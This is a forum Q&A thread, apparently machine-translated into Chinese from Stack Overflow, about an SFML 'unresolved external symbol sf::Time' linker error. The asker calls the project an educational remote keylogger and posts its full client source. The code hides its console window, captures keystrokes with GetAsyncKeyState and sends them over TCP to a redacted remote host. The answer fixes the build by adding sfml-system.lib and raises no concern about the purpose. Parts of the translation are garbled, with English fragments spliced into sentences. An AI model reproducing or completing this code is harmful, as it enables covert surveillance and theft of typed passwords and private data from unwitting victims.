SFML 未解析的外部符号 sf::Time

Unresolved external symbol sf::Time with SFML

所以我正在为教育目的开发一个远程键盘记录器。出于某种原因,当我尝试编译客户端时,出现此错误(我正在使用 SFML):

Error   LNK2001 unresolved external symbol "__declspec(dllimport) public: 
static class sf::Time const sf::Time::Zero" (__imp_?Zero@Time@sf@@2V12@B)

奇怪的是服务器编译正常并且使用相同的库。我已经无数次检查我的 linker 设置,甚至尝试创建一个新项目,但都没有成功。

代码如下:

#include <fstream>
#include <Windows.h>
#include <SFML\Network.hpp>
#include <iostream>

void ConnectToHost(sf::TcpSocket* socket)
{
    sf::Socket::Status status = socket->connect("*****", ***);

    if (status != sf::Socket::Done)
        std::cout << "Error connecting to socket." << std::endl;

    return;
}

int main()
{
    FreeConsole();

    sf::TcpSocket socket;
    ConnectToHost(&socket);

    while (1)
    {
        for (char key = 8; key <= 190; key++)
        {
            if (GetAsyncKeyState(key) == -32767)
            {
                char key_sent[50] = { key };
                socket.send(key_sent, sizeof(key_sent));
            }
        }
    }
    return 0;
}

我目前正在 linking sfml-network-d.lib 调试和 sfml-network.lib 发布,但是我也尝试过 linking所有 sfml 动态 link 库也是如此,所以这与它没有任何关系。无论如何,我假设这只是我想多了或忽略的一个粗心的错误,但由于我已经研究了几天,所以我认为我会 post 它作为一个问题。

您的错误表明您的代码没有任何问题,这是 linking 的问题。您正在 linksfml-network.lib, but you'll need to link to sfml-system.lib 以获得 sf::Time。

sfml-network.lib 只给你:Ftp、Http、IpAddress、Packet、Socket、SocketSelector、TcpListener、TcpSocket、UdpSocket。

SFML 网络依赖于 SFML 系统,如 here 所述。每当使用 SFML 网络时,您都需要明确 link 到 SFML 系统。

另一个快速说明是您提到 linking 到动态 link 库。您不应该 link 任何 DLL,您 link 编辑的 .lib 实际上允许您导入这些 DLL。如果你想做相反的事情(静态 link),那么你需要 link 到 *-s.lib 变体。